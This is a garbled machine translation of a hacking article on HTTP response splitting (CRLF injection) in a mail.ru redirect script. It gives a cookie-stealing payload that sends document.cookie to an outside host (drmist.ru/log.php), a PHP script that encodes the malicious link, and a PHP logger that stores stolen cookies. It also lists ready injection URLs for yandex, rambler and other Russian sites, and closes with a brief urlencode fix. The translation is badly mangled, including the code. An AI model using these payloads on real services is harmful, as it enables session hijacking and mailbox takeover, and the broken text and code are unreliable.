This page has been robot translated, sorry for typos if any. Original content here.

Sicherheitsanfälligkeit bezüglich HTTP-Aufteilung

Dieser Artikel beschreibt die praktische Anwendung einer Sicherheitsanfälligkeit, die als HTTP-Splitting-Sicherheitsanfälligkeit bezeichnet wird.

Wichtiger Header () unter dem Mikroskop

Wenn wir im Internet herumwandern, sehen wir oft eine URL der Form http://anyhost.com/redirect.php?url=http://otherhost.com. Ein genialer Benutzer, der nicht zweimal darüber nachdenkt, klickt auch auf otherhost.com. Ein neugieriger Benutzer ersetzt die Adresse seines Hompagi in der lokalen URL und stellt außerdem sicher, dass das Skript schief ist.
Neben einfachen, auch neugierigen, sehr neugierigen Nutzern leben im Internet. Sie führen einen Link in AccessDiver und lernen auch, wie das Skript funktioniert.

1. Die Essenz des Fehlers.
2. Praktische Anwendung.
3. Ort der Fehlerprävalenz.
4. Sicherheitsausrüstung.

Für Tanker schlage ich vor, dass AccessDiver eine "hakresky" Waffe ist, wie es in einer Nation üblich ist, auszudrücken. Das Herunterladen ist außerhalb des Projekts zulässig. Zum Zeitpunkt dieses Schreibens war die neueste Version des Dienstprogramms 4.173. Das Programm ist am bekanntesten für seine HTTP-Debuger-Funktion. Sie können es verwenden, indem Sie in den Expertenmodus wechseln und die entsprechende Funktion im Menü Extras auswählen (F4, dann Strg + F9 - je nach Version können die Tasten geändert werden). Außerdem konzentrieren wir uns nicht darauf, es einzurichten, da jeder Schüler mit einem Taucher umgehen kann.

Wir haben mail.ru für Experimente ausgewählt, da dies der bekannteste Mail-Dienst in RuNet ist. Daher wird es für den Leser auch besonders interessant, sich über den Fehler in diesem Projekt zu informieren. Gehen wir zum Link http://go.mail.ru/urltracker?url=http:/. /www.security-teams.net . Wir werden zum am häufigsten ausgewählten Portal zur Computersicherheit weitergeleitet;). Wir fügen die Site zu Lesezeichen hinzu und kehren zur E-Mail zurück. Wir werden den Link, der uns interessiert hat, in das Feld HTTP-Adresse schreiben, den Modus auf Get setzen und auf Verbinden klicken.
Der Server gibt HTTP-Header zurück, ähnlich wie im Screenshot:



Wir wenden die Pflege der unterstrichenen Linie zu. Nachdem sich der Browser in den Headern von Location: getroffen hat , führt er uns bedingungslos zur angegebenen URL. Daher können wir den Link zum Benutzer wie in einer E-Mail verschieben, aber er wird überhaupt nicht auf die E-Mail zugreifen. Das alles ist wunderbar, aber in der Praxis entfremdet nichts.

Achten wir darauf, dass die Zeilen in der Kopfzeile durch zwei Zeichen 0Dh 0Ah getrennt sind . Aber was ist, wenn Sie sie am Ende des Links zuordnen? Mal sehen, was der Server im Gegensatz zur Anfrage http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist an uns zurückgibt:



Wie interessant. So kann der Server fast jeden Header ausgeben. Ändern Sie beispielsweise Benutzer-Cookies. Aber auch dies ist immer noch nicht so interessant wie das, was vor uns liegt. Interessanterweise sind die Überschriften durch die Sequenz 0Dh 0Ah 0Dh 0Ah vom Hauptteil der Handlung getrennt . Können wir wirklich jede Seite komplett herausgeben? Geben Sie http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie) ein; </ script> <! - siehe auch:



Alles, was gelb ist, ist der Text des Dokuments selbst. Wenn JavaScript im Browser aktiviert ist, wird durch Klicken auf den Link ein Meldungsfeld mit unseren Cookies angezeigt. Um einen XSS-Angriff auszuführen, benötigen Sie:
1) Erstellen Sie eine Seite vom Typ <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Übersetzen Sie es mit einem Skript in die URL-Codierung:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
für ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Wir bekommen:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... usw. (**)

3) schreibe ein log.php Skript und lade es auf drmist.ru hoch:
<? php
$ fid = fopen ("../ log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
Header ("Speicherort: http://www.mail.ru");
?>

Heute ist es erlaubt, einen magischen Link (**) zu stehlen und Opfer-Cookies zu kaufen.
Es ist erlaubt, viele nützliche Dinge an ihnen zu tun, zum Beispiel den Zugang zu E-Mails, aber eines Tages waren wir auch so kühl vom Hauptthema abgelenkt.

Natürlich müssen Sie in keiner Weise zur E-Mail fahren, da dies eine wichtige Ressource ist, Scheiße, sie stammt auch nicht aus unserer Sandbox. Es ist üblich, dass alle Leute einen Fehler machen, aber mail.ru-Administratoren machen immer seltener Fehler. Wahre Fehler bleiben immer noch. Die Menschen schweigen über sie nicht aus Eigennutz, sondern aus Angst vor einer unzureichenden Reaktion der Verwaltung auf ihre Anwesenheit, der laut Statistik der Ort gehört. Glücklicherweise garantiert das Vorhandensein von XSS keinen Zugriff auf die Mailbox. Ich bin sicher, dass der Fehler behoben wird. Spätestens nach 2 Tagen. Nicht nur mail.ru ist anfällig. Ich empfehle Ihnen dringend zu lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt waren wir sehr überrascht, wann ich erfahren habe, dass securitylab.ru vor 3 Jahren über solche Sicherheitslücken geschrieben hat (siehe CRLF in der Header () - Funktion von PHP vom 10. September 2002), aber da wir keine praktische Möglichkeit haben, den Fehler zu verwenden Ich habe noch nie gehört, dann habe ich das Thema für relevant gehalten. Darüber hinaus kann bla bla vryatli in keiner Weise als relevant für das Vorhandensein von Fehlern in Yandex, Rambler und E-Mail bezeichnet werden.

Es ist nicht schwierig, den Fehler zu korrigieren. Lassen Sie das anfällige Skript essen:

<?
if (! isset ($ url))
$ url = "http://www.mail.ru";

Header ("Ort: $ url");

?>

Wir machen es unverwundbar:

Header ("Location:" .urlencode ($ url));

Wenn eine Umleitung nur innerhalb der Site geplant ist, ist dies am besten wie folgt:

Header ("Speicherort: http://www.mail.ru/".urlencode($url));

Hier ist vielleicht auch alles, was wir berichten wollten. Lassen Sie mich zum Schluss noch ein paar XSS anbieten:

http://talk.mail.ru/article.html?ID=31836089&page=1"> <h1> XSS </ h1>
http://www.pochta.ru/?lng=de"<h1> XSS </ h1>